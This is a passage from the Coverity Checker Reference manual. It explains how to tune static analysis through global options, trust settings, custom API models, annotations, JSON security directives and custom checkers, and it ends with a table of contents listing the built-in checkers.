The sections that follow describe these options in a bit more detail, show some usage examples, and indicate resources where you can learn more. Within each section, alternative techniques are ordered from simpler to more advanced—though of course, ease of use can depend on various factors, including the user's previous experience.

1.3.1. Global choices

Using global customization choices, you can specify subsets of the code base to analyze, specific options to use during analysis, and so on. You can also choose to trust or distrust different kinds of data sources.

When part of your project consists of source code that has been analyzed by a third-party test application, you can use the **cov-import-results** command to integrate this code and its analysis results into Coverity.

1.3.1.1. Global analysis options

The **cov-analyze** command line gives you coarse-grained, global control over what code is analyzed, what checkers are run, and analysis behavior.

Use case: Limit analysis to a particular language and set of checker options.

For example, a user wants to save time by rerunning an analysis, but this time testing only their JavaScript UI sub-component. This time, the user also wants to employ a different set of checker options. Users can do both by passing the following translation unit pattern via the **cov-analyze** command's `--tu-pattern` option:

```
--tu-pattern="lang('JavaScript') && file('/ui/')
```

Use case: Invoke the `STACK_USE` checker, which is disabled by default.

For example, the user is testing code meant to be run on an embedded system that has severe resource constraints. Specifying the option `--enable STACK_USE` turns on this checker, which now will report large-scale usage of the stack.

Use case: In C/C++ source, enable tracing of calls through function pointers, for interprocedural analysis. (Tracing of calls via function pointers is disabled by default.)

For example, the source to analyze includes a device driver that makes heavy use of C++ function pointers. Turning on the **cov-analyze** option `--enable-fnptr` increases the thoroughness of interprocedural testing, at the cost of some execution time.

Learn more: See the *Coverity Command Reference* > “cov-analyze” section, and the description of this command’s options.

1.3.1.2. The global trust model

The application-wide trust model can classify various kinds of data sources as either trusted, or mistrusted and potentially malicious. The kinds of data sources you can specify include HTTP requests, filesystems, remote procedure calls, databases, HTTP headers, and more.

Use case: Specify a publicly accessible disk as a mistrusted source of data.

The application to analyze reads arbitrary data from a network disk that untrusted users also share. Use the **cov-analyze** option `--distrust-filesystem` to specify that the network disk is not trusted.

Limitations and alternatives: The global trust options turn entire categories of data sources on or off. There are ways to refine the granularity of the classification, as shown in the following list:

- Many of the built-in dataflow checkers have checker-specific trust models (most these have names that begin with `"TAINT_"` or `"TAINTED_"`; also see the SQLI and XSS checkers). These inherit from

the global trust model but allow it to be overridden in individual cases. These overrides are exposed as checker options. See individual checker descriptions for details.

- To change the trust setting of individual data sources when a checker-specific alternative is not available, use API models or security analysis directives, instead. See Choices that depend on the checker, the language, or other conditions.

Learn more: In the *Coverity Command Reference* > “cov-analyze” section, are descriptions of a whole family of complementary options whose name begins with either `--distrust-` or `--trust-`, followed by the name of the data source category to globally mistrust or trust.

1.3.1.3. Importing results from external analyses

When part of your project consists of source code that has been analyzed by a third-party test application, you can use the **code-import-results** command to integrate this code and its analysis results into Coverity.

Importing third-party analysis saves the time and effort of analyzing the independent source a second time, and by merging the third-party results with the results from Coverity checkers, you can triage both third-party and native Coverity results in a uniform way.

The data import format is JSON.

Learn more: The *Coverity Command Reference* > “cov-import-results” section describes this command. In the *Coverity Analysis User and Administrator Guide*, “Part 6: Using the Third Party Integration Toolkit”, describes how to use the tools that support **cov-import-results**.

1.3.2. Choices that depend on the checker, the language, or other contexts

Customization choices that are particular to certain checkers, to a certain language, or to other conditions, provide a more fine-grained way to customize the results of an analysis.

1.3.2.1. Checker options

Numerous checker options let you adjust the checker’s behavior. The most common reason for using these options is to reduce the number of false positives or false negatives.

Use case: Set the CSRF checker’s `filter` option to detect Java servlet and ASP.NET MVC filters.

For example, in analyses of Java source, the CSRF checker has been returning false positives because it fails to detect filters that validate cross-site request tokens. By explicitly naming the filters that do so, the `filter` option eliminates these kinds of false positives.

Use case: Turn on the BAD_FREE checker’s `allow_first_field` option so the checker does not report the freeing of a C/C++ structure’s first field.

Freeing the first field of a C/C++ structure is harmless, and usually unintentional. Turning on `allow_first_field` suppresses reports of this occurrence, so that it becomes easier to find reports of freeing an entire `struct` object, which *is* harmful and can lead to memory corruption and program failure.

Learn more: Chapter 4 of this *Coverity Checker Reference* describes each built-in checker and the options that the checker can use. For more information about tainted data options, see Section 6.8, “Tainted Data Overview”.

1.3.2.2. Custom API models

When Coverity scans the code for a statically typed, compiled language—such as C, C++, C#, Go, Java, or Visual Basic—for each function in the source, it generates a model. The model is an abstraction of the function’s behavior at execution time, and the models that Coverity generates are used for interprocedural analysis.

You can write your own model of a function, in order to override the model generated by Coverity and to better describe the function’s behavior. Custom models can be useful both for finding more bugs, and for eliminating false positives.

A model is written in the target language. It can call modeling primitives, which are function stubs that tell Coverity Analysis how to analyze (or refrain from analyzing) the behavior of the function you are modeling.

Although the model is written in the target language, it exists outside of the project code and it does not execute. Instead, you prepare your models by using the command **cov-make-library** with the option `--output-file <modelfile>`. This results in an XML file named `<modelfile>.xmlldb`. Then when you invoke **cov-analyze**, specify `--model-file <modelfile>.xmlldb` so the analysis will use your custom models.

Use case: For the SQLI checker, write a custom model to trap SQL strings that have been constructed from untrusted sources.

For example, the custom database API method `MyDb.execute(String sql)` should never be passed SQL strings that are constructed from untrusted substrings, because this can enable SQL injection attacks. The following custom model reports such calls to the SQLI checker:

```
import static com.coverity.primitives.SecurityPrimitives.*;

public final class MyDb
{
    public void execute(String x)
    {
        sql_sink(x);           // Report SQLI if 'x' is untrusted
    }
}
```

Limitations and alternatives: The opportunity to write a custom model depends on the particular checker involved and which language the source code is written in. So using custom models involves more research and planning than simply enabling or disabling checker options does.

- API modeling is available only for statically typed languages such as C++, Java, C#, and so on. In a statically typed language, the fully qualified signature of a method is sufficient to precisely identify which method is being modeled in the universe of code.

- For dynamically typed languages, the method definition lacks type names (often it lacks argument information entirely) and is therefore less precise. To model a dynamically typed function, Coverity relies instead on security analysis directives to define a naming system that can trace the origin of an object on which a call is made.
- Each API model describes a single method (and its overrides). To describe a collection or pattern of methods; for example, by using regular expression matching or the presence of an in-code annotation, you need to use security directives.

For more about using directives, see [Security analysis directives](#).

Learn more: In this *Coverity Checker Reference*, the checker descriptions in Chapter 4 tell whether the checker can use models. If it can, the checker description lists the modeling primitives that are available to such models. Also in this *Coverity Checker Reference*, Chapter 5 provides an overall description of how to use models in the statically typed languages to which models apply.

1.3.2.3. In-code annotations

Another way to adjust analysis behavior is to add *analysis annotations* to the source code being analyzed. These annotations, like models, provide Coverity Analysis with hints about function behavior. For C/C++, annotations can suppress reports of code patterns that have an intentional purpose in the source code being analyzed.



Note

The standard Coverity workflow never requires any tool-specific code modifications. The use of in-code analysis annotations is purely optional.

Use case: Override the default TAINT_ASSERT checker report of a tainted value, but for specific class members only.

For example, a user has certain class members that are known to be either trusted or not trusted. In the following sample of Java code, the entries `@NotTainted` and `@Tainted` are analysis annotations that tell TAINT_ASSERT to always treat `name` values as trustworthy and `selfDescription` values as tainted:

```
import com.coverity.annotations.*;

class UserData {
    @NotTainted String      name;
    @Tainted    StringBuffer selfDescription;
}
```

Limitations and alternatives:

- Analysis annotations are available only for C/C++, C#, Java, and Visual Basic.
- The properties that can be described by in-code annotations are limited and apply only to certain syntax.

Suggestion: If analysis annotations are not compatible with your project source, or if the situation you want to adjust for is out of their scope, look at the documentation on security analysis directives (introduced in the section that follows) to see if these provide the functionality you are looking for.

Learn more: Analysis annotations are described in the appropriate language-specific sections of this *Coverity Checker Reference* > Chapter 5: Models, Annotations, and Primitives.

1.3.2.4. Security analysis directives (JSON)

Security analysis directives are an expressive configuration format for providing hints and describing patterns that cannot easily be captured by using a model or annotation. They also form the backbone of API description for dynamically typed languages, which require a dataflow-based approach to identify object types of interest.

You specify analysis directives by saving them in a file that uses JSON format. Then when you invoke **cov-analyze**, use the `--directive-file` option to identify the file name.

Use case: In a Java project, specify that all methods whose name has the prefix `get`, in classes that specify the `@Controller` annotation, should be treated as receiving untrustworthy data.

For example, the project supports a custom, in-house Java Web service framework. A security team wants to indicate that all methods whose name has the prefix `get`, receive untrusted data from the Web. Flagging these classes in source code with a `@Controller` analysis annotation is part of the solution, but directives can provide finer-grained control, as shown by the following sample code:

```
// In the "directives" object, include ...
{
  "simple_entry_point" : {
    "and" : [
      { "implemented_in_class" : {
          "with_annotation" : { "named" : "annot.Controller" }
        }
      },
      { "matching" : ".*\\.get.*" }
    ]
  },
  "taint_kinds" : ["http"]
}
```

Use case: This JavaScript example specifies that any read of the global variable `myLibrary.queryParam` (whose value is similar to `window.location.query` in JavaScript) is untrusted:

```
// In the "directives" object, include ...
{
  "tainted_data" : {
    "read_path_off_global" : [
      { "property" : "myLibrary" },
      { "property" : "queryParam" }
    ]
  },
}
```

```
"taint_kind" : "js_client_url_query_or_fragment"  
}
```

Limitations and alternatives:

- For statically typed languages, API models provide an alternative way to specify sources and sinks.
- Certain function properties affect quality and concurrency checkers; for example, dereferenced arguments, thrown exceptions, and so on. Security analysis directives can't detect such conditions: to check for them, you need to use API models.

Learn more:

The *Security Directives Reference* provides a full description of the security analysis directives.

In the *Coverity Command Reference*, see the “cov-analyze” section's description of the `--directive-file` option and how to use it.

In this *Coverity Checker Reference*, Chapter 6: “Coverity Web application security” discusses issues that are particular to Web applications, and how to guard against exploits.

1.3.3. Creating new checkers

Rather than tuning or modifying the behavior of existing checkers, you might want to tailor the analysis by adding special-purpose checkers of your own. Coverity provides a couple of recommended ways to do so. These are:

- Custom dataflow and text checker “frameworks”: `DF.CUSTOM_CHECKER` and `TEXT.CUSTOM_CHECKER`
- The domain-specific language CodeXM

1.3.3.1. Legacy ways of creating checkers

Previous releases of Coverity had other ways of creating custom checkers. These are still supported to provide backward compatibility, but unless your organization has already invested in the older techniques, we don't recommend that you use them for new development. These are the legacy techniques:

- The `SECURE_CODING` checker (not truly customizable) was superseded by the `DC.CUSTOM_CHECKER` framework, which has in turn been superseded by CodeXM: See “Writing Your Own *Don't Call* Checker” in *Learning to Write CodeXM Checkers*.
- The Extend SDK

1.3.3.2. Custom dataflow and text checkers (JSON directives)

Coverity provides two “frameworks,” `DF.CUSTOM_CHECKER` and `TEXT.CUSTOM_CHECKER`, that let you create your own dataflow or text checkers. Sometimes a new checker requires just a few lines of JSON.

DF.CUSTOM_CHECKER

A *dataflow checker* reports when untrusted strings, streams, and byte arrays from a tainted source are propagated through the program and used at an unsafe sink. Many security vulnerabilities fit this general pattern: these include injection issues, data exposure, insecure object references, and more. Custom checkers can specify a trust model that enhances Coverity Analysis's extensive built-in modeling of data sources.

TEXT.CUSTOM_CHECKER

A *text checker* can match patterns that indicate illegal data, misconfiguration, or other issues of concern. The patterns to match can be either regular expressions or XPath queries.

As with security analysis directives, you specify the directives for a JSON custom checker by saving them in a file of their own, then using the `--directive-file` option to identify that file when you invoke **cov-analyze**.

Use case: A security team wants to determine whether HTTP-request data is ever passed into any C# function whose name ends in the suffix `Db`.

The following JSON record specifies a checker to locate this situation. Its name is **DF.GOES_TO_DATABASE**.

```
{
  "type"          : "Coverity analysis configuration",
  "format_version" : 12,
  "language"      : "C#",
  "directives"   : [
    {
      "dataflow_checker_name" : "DF.GOES_TO_DATABASE",
      "taint_kinds"          : [ "http", "http_header" ]
    },
    {
      "sink_for_checker" : "DF.GOES_TO_DATABASE",
      "sink" : {
        "to_callsite" : {
          "callsite_with_static_target" : {
            "matching" : ".*Db\\(System.String\\)void"
          },
        },
        "input" : "arg1"
      }
    }
  ]
}
```

Use case: A security team wants to learn if a configuration properties file ever indicates version 2.x. The following custom text checker, **TEXT.UNSAFE_VERSION**, accomplishes this:

```
// In the "directives" object, include ...
{
```

```
"text_checker_name" : "TEXT.UNSAFE_VERSION",
"file_pattern"      : { "regex" : "config(-.+)\\.\\.json$",
                        "case_sensitive" : false },
"defect_pattern"    : { "regex" : "version.*:. *2\\.\\. *" }
}
```

Limitations and alternatives: At present, text checkers cannot match regular expressions in source code that is emitted as an abstract syntax tree (AST).

Learn more: In this *Coverity Checker Reference*, see `DF.CUSTOM_CHECKER` and `TEXT.CUSTOM_CHECKER` for information about these two custom checker frameworks. The *Security Directive Reference* contains descriptions of the JSON fields that custom checker definitions can use.

1.3.3.3. CodeXM Checkers

CodeXM is short for *Code eXaMination*. It is an interpreted language used to write customized checkers that run using the Coverity engine. It allows you to define problematic patterns that you want to find in your source code. It exposes the underlying abstract syntax tree (AST) that analysis generates, and lets you scan this directly for matches. CodeXM can also detect certain conditions based on program states; for example, an execution path.

Use case: A development team wants to enforce a coding policy that C++ code should not use the `goto` statement. They build the following CodeXM checker to report any occurrences of `goto` in their code:

```
include `C/C++`;

checker {
  name = "NO_GOTO";
  reports =
    for c in globalset allFunctionCode
      where c matches gotoStatement :
        {
          events = [ {
            // ... Messages to describe what you found
          } ];
        };
};
```

Limitations and alternatives: CodeXM rules are primarily intended for matching syntax patterns in source code.

- CodeXM, like Lisp, is a *functional* programming language, as opposed to a *procedural* language such as C++ or Java. If you are used to coding procedurally, which these days is how most programs are written, then getting used to the functional model can take some time.
- CodeXM is not always sufficient for deeply reasoning about program behavior; for example, tracing runtime call resolution, or comprehensively tracking runtime values. These are difficult program analysis problems!

In cases like these, it might be more appropriate to interact with the analysis engines by using API modeling, custom dataflow checkers, or security directives.

Learn more:

Learning to Write CodeXM Checkers introduces the CodeXM environment and demonstrates a number of ways to use the language. It includes a style guide, too.

The *Coverity CodeXM Syntax Reference* describes the language itself.

Several associated references describes the libraries that are provided with CodeXM. For the most part, each library supports the analysis of a particular target source language (certain functions are common to all libraries).

1.3.3.4. Extend SDK

Coverity Extend SDK is a framework for writing checkers in C++ that support analyses of C/C++, Java, and C# applications. Much of this framework is the same as that used by the checkers that are built in to Coverity Analysis.

Limitations and alternatives:

- The Extend SDK is difficult to learn and to use. If you have not already invested in Extend SDK development, we strongly recommend that you use CodeXM rather than Extend.
- Extend checkers are compiled by a C++ toolchain into separate binaries. They do not run as part of **cov-analyze**. They cannot be run in parallel with each other, or with the built-in analysis.

Learn more: The development kit is described in the *Coverity Extend SDK Checker Development Guide*.

Chapter 2. Software Issues and Impacts by Checker

The HTML version of this chapter (in `cov_checker_ref.html`) lists properties associated with the issues found by checkers, including the category, effect, and impact of the issue, the associated CWE, and the checker associated with the issue.

If you encounter an issue with the link above, try using another viewer, such as Adobe Acrobat Reader.

Chapter 3. Checker Enablement and Option Defaults by Language

The HTML version of this chapter (in `cov_checker_ref.html`) includes checker option defaults and **cov-analyze** command line options that enable each checker.

If you encounter an issue with the link above, try using another viewer, such as Adobe Acrobat Reader.

Chapter 4. Coverity Analysis Checkers

Table of Contents

4.1. ALLOC_FREE_MISMATCH	26
4.2. ANDROID_CAPABILITY_LEAK	27
4.3. ANDROID_DEBUG_MODE	29
4.4. ANDROID_WEBVIEW_FILEACCESS	30
4.5. ANGULAR_BYPASS_SECURITY	31
4.6. ANGULAR_ELEMENT_REFERENCE	32
4.7. ANGULAR_EXPRESSION_INJECTION	33
4.8. ANGULAR_SCE_DISABLED	36
4.9. ARRAY_VS_SINGLETON	37
4.10. ASPNET_MVC_VERSION_HEADER	39
4.11. ASSERT_SIDE_EFFECT	41
4.12. ASSIGN_NOT_RETURNING_STAR_THIS	43
4.13. ATOMICITY	45
4.14. ATTRIBUTE_NAME_CONFLICT	48
4.15. AUDIT.SPECULATIVE_EXECUTION_DATA_LEAK	49
4.16. AWS_SSL_DISABLED	51
4.17. AWS_VALIDATION_DISABLED	51
4.18. BAD_ALLOC_ARITHMETIC	52
4.19. BAD_ALLOC_STRLEN	53
4.20. BAD_CERT_VERIFICATION	54
4.21. BAD_CHECK_OF_WAIT_COND	59
4.22. BAD_COMPARE	61
4.23. BAD_EQ	63
4.24. BAD_EQ_TYPES	65
4.25. BAD_FREE	66
4.26. BAD_LOCK_OBJECT	67
4.27. BAD_OVERRIDE	72
4.28. BAD_SHIFT	74
4.29. BAD_SIZEOF	75
4.30. BUFFER_SIZE	78
4.31. BUFFER_SIZE_WARNING	79
4.32. BUSBOY_MISCONFIGURATION	79
4.33. CALL_SUPER	80
4.34. CHAR_IO	85
4.35. CHECKED_RETURN	86
4.36. CHROOT	92
4.37. COM.ADDROF_LEAK	93
4.38. COM.BAD_FREE	94
4.39. COM.BSTR.ALLOC	95
4.40. COM.BSTR.BAD_COMPARE	97
4.41. COM.BSTR.CONV	99
4.42. COM.BSTR.NE_NON_BSTR	100

4.43. CONFIG.ANDROID_BACKUPS_ALLOWED	101
4.44. CONFIG.ANDROID_GRADLE_OBFUSCATION_NOT_ENABLED	103
4.45. CONFIG.ANDROID_OUTDATED_TARGETSDKVERSION	104
4.46. CONFIG.ANDROID_UNSAFE_MINSDKVERSION	106
4.47. CONFIG.ASP_VIEWSTATE_MAC	108
4.48. CONFIG.ASPNET_VERSION_HEADER	109
4.49. CONFIG.ATS_INSECURE	110
4.50. CONFIG.CONNECTION_STRING_PASSWORD	111
4.51. CONFIG.COOKIE_SIGNING_DISABLED	112
4.52. CONFIG.COOKIES_MISSING_HTTPONLY	112
4.53. CONFIG.CORDOVA_EXCESSIVE_LOGGING	113
4.54. CONFIG.CORDOVA_PERMISSIVE_WHITELIST	115
4.55. CONFIG.CSURF_IGNORE_METHODS	117
4.56. CONFIG.DEAD_AUTHORIZATION_RULE	118
4.57. CONFIG.DJANGO_CSRF_PROTECTION_DISABLED	119
4.58. CONFIG.DUPLICATE_SERVLET_DEFINITION	120
4.59. CONFIG.DWR_DEBUG_MODE	121
4.60. CONFIG.DYNAMIC_DATA_HTML_COMMENT	122
4.61. CONFIG.ENABLED_DEBUG_MODE	124
4.62. CONFIG.ENABLED_TRACE_MODE	126
4.63. CONFIG.HANA_XS_PREVENT_XSRF_DISABLED	126
4.64. CONFIG.HARDCODED_CREDENTIALS_AUDIT	128
4.65. CONFIG.HARDCODED_TOKEN	129
4.66. CONFIG.HTTP_VERB_TAMPERING	129
4.67. CONFIG.JAVAAE_MISSING_HTTPONLY	130
4.68. CONFIG.JAVAAE_MISSING_SERVLET_MAPPING	131
4.69. CONFIG.JSONWEBTOKEN_NON_EXPIRING_TOKEN	133
4.70. CONFIG.MISSING_CUSTOM_ERROR_PAGE	133
4.71. CONFIG.MISSING_GLOBAL_EXCEPTION_HANDLER	135
4.72. CONFIG.MISSING_JSF2_SECURITY_CONSTRAINT	136
4.73. CONFIG.MYBATIS_MAPPER_SQLI	137
4.74. CONFIG.MYSQL_SSL_VERIFY_DISABLED	138
4.75. CONFIG.REQUEST_STRICTSSL_DISABLED	139
4.76. CONFIG.SEQUELIZE_ENABLED_LOGGING	140
4.77. CONFIG.SEQUELIZE_INSECURE_CONNECTION	142
4.78. CONFIG.SOCKETIO_MAXHTTPBUFFERSIZE_SET_TOO_LARGE	142
4.79. CONFIG.SOCKETIO_ORIGINS_ACCEPT_ALL	144
4.80. CONFIG.SPRING_BOOT_ADMIN_ACCESS_ENABLED	145
4.81. CONFIG.SPRING_BOOT_SENSITIVE_LOGGING	145
4.82. CONFIG.SPRING_BOOT_SSL_DISABLED	146
4.83. CONFIG.SPRING_SECURITY_CSRF_PROTECTION_DISABLED	147
4.84. CONFIG.SPRING_SECURITY_DEBUG_MODE	149
4.85. CONFIG.SPRING_SECURITY_DEPRECATED_XSS_HEADER	150
4.86. CONFIG.SPRING_SECURITY_DISABLE_AUTH_TAGS	151
4.87. CONFIG.SPRING_SECURITY_EXPOSED_SESSIONID	152
4.88. CONFIG.SPRING_SECURITY_HARDCODED_CREDENTIALS	153
4.89. CONFIG.SPRING_SECURITY_LOGIN_OVER_HTTP	155
4.90. CONFIG.SPRING_SECURITY_REMEMBER_ME_HARDCODED_KEY	155

4.91. CONFIG.SPRING_SECURITY_SESSION_FIXATION	157
4.92. CONFIG.SPRING_SECURITY_UNSAFE_AUTHENTICATION_FILTER	158
4.93. CONFIG.SPRING_SECURITY_WEAK_PASSWORD_HASH	159
4.94. CONFIG.STRUTS2_CONFIG_BROWSER_PLUGIN	160
4.95. CONFIG.STRUTS2_DYNAMIC_METHOD_INVOCATION	161
4.96. CONFIG.STRUTS2_ENABLED_DEV_MODE	162
4.97. CONFIG.SYMFONY_CSRF_PROTECTION_DISABLED	163
4.98. CONFIG.UNSAFE_SESSION_TIMEOUT	164
4.99. CONFIG.VUE_ROUTER_PARAMS_EXPOSED_TO_PROPS	168
4.100. CONFIG.WEAK_SECURITY_CONSTRAINT	169
4.101. CONSTANT_EXPRESSION_RESULT	170
4.102. COOKIE_INJECTION	179
4.103. COOKIE_SERIALIZER_CONFIG	182
4.104. COPY_PASTE_ERROR	182
4.105. COPY_WITHOUT_ASSIGN	186
4.106. CORS_MISCONFIGURATION	187
4.107. CORS_MISCONFIGURATION_AUDIT	190
4.108. CSRF	192
4.109. CSRF_MISCONFIGURATION_HAPI_CRUMB	204
4.110. CSS_INJECTION	205
4.111. CTOR_DTOR_LEAK	208
4.112. CUDA.COLLECTIVE_WARP_SHUFFLE_WIDTH	209
4.113. CUDA.CUDEVICE_HANDLES	210
4.114. CUDA.DEVICE_DEPENDENT	210
4.115. CUDA.DEVICE_DEPENDENT_CALLBACKS	212
4.116. CUDA.DIVERGENCE_AT_COLLECTIVE_OPERATION	213
4.117. CUDA.ERROR_INTERFACE	215
4.118. CUDA.ERROR_KERNEL_LAUNCH	216
4.119. CUDA.FORK	216
4.120. CUDA.INACTIVE_THREAD_AT_COLLECTIVE_WARP	218
4.121. CUDA.INITIATION_OBJECT_DEVICE_THREAD_BLOCK	221
4.122. CUDA.INVALID_MEMORY_ACCESS	222
4.123. CUDA.SHARE_FUNCTION	223
4.124. CUDA.SHARE_OBJECT_STREAM_ASSOCIATED	224
4.125. CUDA.SPECIFIERS_INCONSISTENCY	226
4.126. CUDA.SYNCHRONIZE_TERMINATION	227
4.127. CUSTOM_KEYBOARD_DATA_LEAK	228
4.128. DC.CUSTOM_CHECKER	229
4.129. DC.DANGEROUS	232
4.130. DC.DEADLOCK	232
4.131. DC.PREDICTABLE_KEY_PASSWORD	233
4.132. DC.STREAM_BUFFER	233
4.133. DC.STRING_BUFFER	234
4.134. DC.WEAK_CRYPTO	234
4.135. DEADCODE	235
4.136. DEADLOCK (Java Runtime)	242
4.137. DELETE_ARRAY	245
4.138. DELETE_VOID	247

4.139. DENY_LIST_FOR_AUTHN	248
4.140. DETEKT.*	249
4.141. DF.CUSTOM_CHECKER	249
4.142. DISABLED_ENCRYPTION	256
4.143. DISTRUSTED_DATA_DESERIALIZATION	257
4.144. DIVIDE_BY_ZERO	259
4.145. DNS_PREFETCHING	262
4.146. DOM_XSS	263
4.147. DYNAMIC_OBJECT_ATTRIBUTES	266
4.148. DYNAMIC_TYPE_IN_CTOR_DTOR	266
4.149. EL_INJECTION	268
4.150. ENUM_AS_BOOLEAN	269
4.151. EVALUATION_ORDER	270
4.152. EXPLICIT_THIS_EXPECTED	272
4.153. EXPOSED_DIRECTORY_LISTING_HAPI_INERT	274
4.154. EXPOSED_PREFERENCES	275
4.155. EXPRESS_SESSION_UNSAFE_MEMORYSTORE	277
4.156. EXPRESS_WINSTON_SENSITIVE_LOGGING	278
4.157. EXPRESS_X_POWERED_BY_ENABLED	279
4.158. FILE_UPLOAD_MISCONFIGURATION	280
4.159. FB.* (SpotBugs)	280
4.160. FLOATING_POINT_EQUALITY	281
4.161. FORMAT_STRING_INJECTION	282
4.162. FORWARD_NULL	286
4.163. GUARDED_BY_VIOLATION	296
4.164. HAPI_SESSION_MONGO_MISSING_TLS	300
4.165. HARDCODED_CREDENTIALS	301
4.166. HEADER_INJECTION	308
4.167. HFA	317
4.168. HIBERNATE_BAD_HASHCODE	318
4.169. HOST_HEADER_VALIDATION_DISABLED	320
4.170. HPKP_MISCONFIGURATION	320
4.171. IDENTICAL_BRANCHES	321
4.172. IDENTIFIER_TYPO	325
4.173. IMPLICIT_INTENT	327
4.174. INCOMPATIBLE_CAST	329
4.175. INFINITE_LOOP	329
4.176. INSECURE_ACL	334
4.177. INSECURE_COMMUNICATION	334
4.178. INSECURE_COOKIE	339
4.179. INSECURE_DIRECT_OBJECT_REFERENCE	343
4.180. INSECURE_HTTP_FIREWALL	344
4.181. INSECURE_MULTIPER_PEER_CONNECTION	345
4.182. INSECURE_RANDOM	346
4.183. INSECURE_REFERRER_POLICY	350
4.184. INSECURE_REMEMBER_ME_COOKIE	351
4.185. INSECURE_SALT	352
4.186. INSUFFICIENT_LOGGING	353

4.187. INSUFFICIENT_PRESIGNED_URL_TIMEOUT	355
4.188. INTEGER_OVERFLOW	356
4.189. INVALIDATE_ITERATOR	359
4.190. JAVA_CODE_INJECTION	365
4.191. JCR_INJECTION	367
4.192. JSHINT.* (JSHint) Analysis	368
4.193. JSONWEBTOKEN_IGNORED_EXPIRATION_TIME	369
4.194. JSONWEBTOKEN_UNTRUSTED_DECODE	372
4.195. JSP_DYNAMIC_INCLUDE	374
4.196. JSP_SQL_INJECTION	375
4.197. LDAP_INJECTION	377
4.198. LDAP_NOT_CONSTANT	379
4.199. LOCALSTORAGE_MANIPULATION	381
4.200. LOCALSTORAGE_WRITE	384
4.201. LOCK	385
4.202. LOCK_EVASION	389
4.203. LOCK_INVERSION	398
4.204. LOG_INJECTION	401
4.205. MISMATCHED_ITERATOR	402
4.206. MISRA_CAST	404
4.207. MISSING_ASSIGN	408
4.208. MISSING_AUTHZ	408
4.209. MISSING_BREAK	417
4.210. MISSING_COMMA	423
4.211. MISSING_COPY	424
4.212. MISSING_COPY_OR_ASSIGN	424
4.213. MISSING_HEADER_VALIDATION	425
4.214. MISSING_IFRAME_SANDBOX	426
4.215. MISSING_LOCK	428
4.216. MISSING_MOVE_ASSIGNMENT	430
4.217. MISSING_PASSWORD_VALIDATOR	432
4.218. MISSING_PERMISSION_FOR_BROADCAST	432
4.219. MISSING_PERMISSION_ON_EXPORTED_COMPONENT	437
4.220. MISSING_RESTORE	439
4.221. MISSING_RETURN	443
4.222. MISSING_THROW	444
4.223. MIXED_ENUMS	445
4.224. MOBILE_ID_MISUSE	448
4.225. MULTER_MISCONFIGURATION	451
4.226. NEGATIVE_RETURNS	452
4.227. NESTING_INDENT_MISMATCH	454
4.228. NO_EFFECT	459
4.229. NON_STATIC_GUARDING_STATIC	465
4.230. NOSQL_QUERY_INJECTION	467
4.231. NULL_RETURNS	472
4.232. ODR_VIOLATION	482
4.233. OGNL_INJECTION	483
4.234. OPEN_ARGS	484

4.235. OPEN_REDIRECT	485
4.236. OPENAPI.*	490
4.237. ORDER_REVERSAL	491
4.238. ORM_ABANDONED_TRANSIENT	493
4.239. ORM_LOST_UPDATE	493
4.240. ORM_LOAD_NULL_CHECK	496
4.241. ORM_UNNECESSARY_GET	497
4.242. OS_CMD_INJECTION	498
4.243. OVERFLOW_BEFORE_WIDEN	508
4.244. OVERLAPPING_COPY	513
4.245. OVERRUN	514
4.246. PARSE_ERROR	520
4.247. PW.*, RW.*, SW.*: Compilation Warnings	520
4.248. PASS_BY_VALUE	525
4.249. PATH_MANIPULATION	526
4.250. PREDICTABLE_RANDOM_SEED	537
4.251. PRINTF_ARGS	539
4.252. PROPERTY_MIXUP	540
4.253. PW.*	543
4.254. RACE_CONDITION (Java Runtime)	544
4.255. RAILS_DEFAULT_ROUTES	546
4.256. RAILS_DEVISE_CONFIG	547
4.257. RAILS_MISSING_FILTER_ACTION	548
4.258. REACT_DANGEROUS_INNERHTML	549
4.259. READLINK	549
4.260. RW.*	551
4.261. REGEX_CONFUSION	551
4.262. REGEX_INJECTION	552
4.263. REGEX_MISSING_ANCHOR	556
4.264. RESOURCE_LEAK	557
4.265. RESOURCE_LEAK (Java Runtime)	571
4.266. RETURN_LOCAL	572
4.267. REVERSE_NEGATIVE	574
4.268. REVERSE_INULL	575
4.269. REVERSE_TABNABBING	580
4.270. RISKY_CRYPTO	581
4.271. RUBY_VULNERABLE_LIBRARY	587
4.272. SCRIPT_CODE_INJECTION	588
4.273. SECURE_CODING	594
4.274. SECURE_TEMP	596
4.275. SELF_ASSIGN	597
4.276. SW.*	598
4.277. SENSITIVE_DATA_LEAK	598
4.278. SERVLET_ATOMICITY	608
4.279. SESSION_FIXATION	609
4.280. SESSION_MANIPULATION	611
4.281. SESSIONSTORAGE_MANIPULATION	612
4.282. SIGN_EXTENSION	615

4.283. SINGLETON_RACE	617
4.284. SIZECHECK	618
4.285. SIZEOF_MISMATCH	620
4.286. SLEEP	623
4.287. SQL_NOT_CONSTANT	626
4.288. SQLI	627
4.289. STACK_USE	638
4.290. STRAY_SEMICOLON	643
4.291. STREAM_FORMAT_STATE	646
4.292. STRICT_TRANSPORT_SECURITY	648
4.293. STRING_NULL	649
4.294. STRING_OVERFLOW	652
4.295. STRING_SIZE	654
4.296. SWAPPED_ARGUMENTS	657
4.297. SYMBIAN.CLEANUP_STACK	659
4.298. SYMBIAN.NAMING	662
4.299. SYMFONY_EL_INJECTION	664
4.300. TAINT_ASSERT	666
4.301. TAINTED_ENVIRONMENT_WITH_EXECUTION	669
4.302. TAINTED_SCALAR	673
4.303. TAINTED_STRING	681
4.304. TEMPLATE_INJECTION	687
4.305. TEMPORARY_CREDENTIALS_DURATION	691
4.306. TEXT.CUSTOM_CHECKER	692
4.307. TOCTOU	694
4.308. TRUST_BOUNDARY_VIOLATION	695
4.309. UNCAUGHT_EXCEPT	697
4.310. UNCHECKED_ORIGIN	701
4.311. UNENCRYPTED_SENSITIVE_DATA	702
4.312. UNESCAPED_HTML	712
4.313. UNEXPECTED_CONTROL_FLOW	713
4.314. UNINIT	715
4.315. UNINIT_CTOR	719
4.316. UNINTENDED_GLOBAL	722
4.317. UNINTENDED_INTEGER_DIVISION	723
4.318. UNKNOWN_LANGUAGE_INJECTION	724
4.319. UNLESS_CASE_SENSITIVE_ROUTE_MATCHING	726
4.320. UNLIMITED_CONCURRENT_SESSIONS	727
4.321. UNLOGGED_SECURITY_EXCEPTION	728
4.322. UNREACHABLE	730
4.323. UNRESTRICTED_ACCESS_TO_FILE	737
4.324. UNRESTRICTED_DISPATCH	738
4.325. UNRESTRICTED_MESSAGE_TARGET	740
4.326. UNSAFE_BASIC_AUTH	741
4.327. UNSAFE_BUFFER_METHOD	742
